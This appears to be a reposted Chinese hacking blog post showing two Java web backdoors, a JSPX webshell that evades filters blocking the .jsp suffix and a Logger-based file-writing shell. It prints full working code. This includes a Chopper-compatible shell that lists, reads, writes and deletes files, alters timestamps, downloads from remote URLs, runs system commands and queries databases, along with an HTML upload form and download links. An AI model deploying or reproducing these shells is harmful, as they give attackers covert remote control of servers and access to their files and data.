利用这个可以突破st2下 强制jsp跳转login.jsp
利用jspx解决jsp后缀被限制拿shell - Hack Blog | 黑客博客
http://www.hackblog.cn/post/45.html
两种“新型”的javaweb后门(jspx和Java Logger) | HuGtion‘s Blog
https://www.hugtion.com/?p=768
关于JavaWeb后门问题一直以来都比较少,而比较新奇的后门更少。在这里我分享两个我最近搞的比较有意思的JavaWeb后门给大家玩。一个常见或者比较普通的后门很容易就会被拦截或者被发现,但不知道有朋友了解下面两种后门没? 1:jspx后门 在如今的web应用当中如果想直接传个jsp已经变得比较难了,但是如果只限制了asp、php、jsp、aspx等这些常见的后缀应该怎样去突破呢?我在读tomcat的配置文件的时候看到jsp和jspx都是由org.apache.jasper.servlet.JspServlet处理,于是想构建一个jspx的webshell。经过反复的折腾,一个jspx的后门就粗线了。测试应该是java的所有的server都默认支持。 Tomcat的conf/web.xml下的配置: <servlet> <servlet-name>jsp</servlet-name> <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class> <init-param> <param-name>fork</param-name> <param-value>false</param-value> </init-param> <init-param> <param-name>xpoweredBy</param-name> <param-value>false</param-value> </init-param> <load-on-startup>3</load-on-startup> </servlet> <servlet-mapping> <servlet-name>jsp</servlet-name> <url-pattern>*.jsp</url-pattern> <url-pattern>*.jspx</url-pattern> </servlet-mapping> 关于jspx的资料网上并不多,官网给的文档也不清楚,搞的模模糊糊的。怎么去玩jspx大家可以看下官网的demo,或者参考一些文章。 http://jspx-bay.sourceforge.net 关于 jspx 文件的一些说明 重点在于把Jsp里面的一些标记转换成xml支持的格式,比如: <%@ include .. %> <jsp:directive.include .. /> <%@ page .. %> <jsp:directive.page .. /> <%@ taglib .. %> xmlns:prefix=”tag library URL” <%= ..%> <jsp:expression> .. </jsp:expression> <% ..%> <jsp:scriptlet> .. </jsp:scriptlet> 知道<% %>可以用<jsp:scriptlet></jsp:scriptlet>标记表示那么做起来就很简单了,直接把标记换下是非常容易做的。所以写个简单的shell一个就很简单了,但是如果想知道具体有那些标签或者说跟jsp里面的有那些不同怎么办呢?下面我简单的做了下对比(前面是jsp的代码提示,后面是jspx): 2013101020032332736 照着提示翻译下得知表示jsp里面的<%! %>需要用:<jsp:declaration></jsp:declaration>标签去替换就行了。 其他重要提醒: 在jspx里面遵循xml语法所以直接在jsp:declaration或者jsp:scriptlet标签内写”<>”这样的符号是不行的,需要转意(不转意会报编译错误,猜了下只需要把<>转成< >就行了)。 jspx后门的具体实现代码: <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2"> <jsp:directive.page contentType="text/html" pageEncoding="UTF-8" /> <jsp:directive.page import="java.io.*" /> <jsp:scriptlet> RandomAccessFile rf = new RandomAccessFile(request.getRealPath("/")+request.getParameter("f"), "rw"); rf.write(request.getParameter("t").getBytes()); rf.close(); </jsp:scriptlet> </jsp:root> jspx实现的我之前发的菜刀最终版: 直接用菜刀连接:http://localhost:8080/jspx.jspx 2013101020244736210 <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2"><jsp:directive.page contentType="text/html" pageEncoding="UTF-8" /><jsp:directive.page import="java.io.*"/><jsp:directive.page import="java.util.*"/><jsp:directive.page import="java.net.*"/><jsp:directive.page import="java.sql.*"/><jsp:directive.page import="java.text.*"/><jsp:declaration>String Pwd="023";String cs="UTF-8";String EC(String s)throws Exception{return new String(s.getBytes("ISO-8859-1"),cs);}Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim());if(x[1].indexOf("jdbc:oracle")!=-1){return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);}else{Connection c=DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);if(x.length>4){c.setCatalog(x[4]);}return c;}}void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT,sQ,sF="";java.util.Date dt;SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0; i<l.length; i++){dt=new java.util.Date(l[i].lastModified());sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ +=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");}else{sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";}}sb.append(sF);}void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();for(int k=0; k < x.length; k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();}void GG(String s,String d)throws Exception{String h="0123456789ABCDEF";File f=new File(s);f.createNewFile();FileOutputStream os=new FileOutputStream(f);for(int i=0; i<d.length();i+=2){os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i+1))));}os.close();}void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();for(int j=0; j<z.length; j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s,String d)throws Exception{URL u=new URL(s);int n=0;FileOutputStream os=new FileOutputStream(d);HttpURLConnection h=(HttpURLConnection) u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];while((n=is.read(b))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}void MM(InputStream is,StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));while((l=br.readLine())!=null){sb.append(l+"\r\n");}}void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();}void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] x=s.trim().split("\r\n");ResultSet r=c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null,"%",new String[]{"TABLE"});while(r.next()){sb.append(r.getString("TABLE_NAME")+"\t");}r.close();c.close();}void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("\r\n");Connection c=GC(s);Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[x.length-1]);ResultSetMetaData d=r.getMetaData();for(int i=1;i<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");}r.close();m.close();c.close();}void QQ(String cs,String s,String q,StringBuffer sb,String p)throws Exception{Connection c=GC(s);Statement m=c.createStatement(1005,1008);BufferedWriter bw=null;try{ResultSet r=m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(int i=1; i <=n; i++){sb.append(d.getColumnName(i)+"\t|\t");}sb.append("\r\n");if(q.indexOf("--f:")!=-1){File file=new File(p);if(q.indexOf("-to:")==-1){file.mkdir();}bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:")+4,q.length()).trim()),true),cs));}while(r.next()){for(int i=1; i<=n;i++){if(q.indexOf("--f:")!=-1){bw.write(r.getObject(i)+""+"\t");bw.flush();}else{sb.append(r.getObject(i)+""+"\t|\t");}}if(bw!=null){bw.newLine();}sb.append("\r\n");}r.close();if(bw!=null){bw.close();}}catch(Exception e){sb.append("Result\t|\t\r\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");}catch(Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();}</jsp:declaration><jsp:scriptlet>cs=request.getParameter("z0")!=null?request.getParameter("z0")+"":cs;response.setContentType("text/html");response.setCharacterEncoding(cs);StringBuffer sb=new StringBuffer("");try{String Z=EC(request.getParameter(Pwd)+"");String z1=EC(request.getParameter("z1")+"");String z2=EC(request.getParameter("z2")+"");sb.append("->"+"|");String s=request.getSession().getServletContext().getRealPath("/");if(Z.equals("A")){sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}}else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();}else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\","/")+"images/");}}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString());</jsp:scriptlet></jsp:root> 最终版的使用说明:http://xsser.me/caidao/1.txt 上面的jspx.jspx下载地址:http://xsser.me/caidao/jspx.jspx 2:用Java Logger(日志)留后门 某些场景下shell可能被过滤掉了,但是利用一些有趣的东东可以绕过,比如不用new File这样的方式去写文件,甚至是尽可能的不要出现File关键字。 看了下java.util.logging.Logger挺有意思的,可以写日志文件,于是试了下用这样的方式去写一个shell,结果成功了。 java.util.logging.Logger默认输出的格式是xml,但这都不是事,直接格式化下日志以text方式输出就行了。 新建2.jsp并访问: <%java.util.logging.Logger l=java.util.logging.Logger.getLogger("t");java.util.logging.FileHandler h=new java.util.logging.FileHandler(pageContext.getServletContext().getRealPath("/")+request.getParameter("f"),true);h.setFormatter(new java.util.logging.SimpleFormatter());l.addHandler(h);l.info(request.getParameter("t"));%> 2013101020165767122 2013101020171377889 其他略特殊点的文件读写Demo: new FileOutputStream new FileOutputStream("d:/sb.txt").write(new String("123").getBytes()); new DataOutputStream new DataOutputStream(new FileOutputStream("d:/1x.txt")).write(new String("123").getBytes()); FileWriter fw = new FileWriter("d:/3.txt"); fw.write("21"); fw.flush(); fw.close(); RandomAccessFile rf = new RandomAccessFile("d:/14.txt", "rw"); rf.write(new String("3b").getBytes()); rf.close(); GetShell.htm: <html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>jsp-yzmm</title> </head> <style> .main{width:980px;height:600px;margin:0 auto;} .url{width:300px;} .fn{width:80px;} .content{width:80%;height:60%;} </style> <script> function upload(){ var url = document.getElementById(‘url‘).value, content = document.getElementById(‘content‘).value, fileName = document.getElementById(‘fn‘).value, form = document.getElementById(‘fm‘); if(url.length == 0){ alert("Url not allowd empty!"); return ; } if(content.length == 0){ alert("Content not allowd empty!"); return ; } if(fileName.length == 0){ alert("FileName not allowd empty!"); return ; } form.action = url; form.submit(); } </script> <body> <div> <form id="fm" method="post"> URL:<input type="text" value="http://localhost/Struts2/css3.jsp" id="url" /> FileName:<input type="text" name="f" value="css.jsp" id="fn" /> <a href="javascript:upload();">Upload</a><br/> <textarea id="content" name="t" ></textarea> </form> </div> </body> </html>
时间: 2024-11-04 12:48:07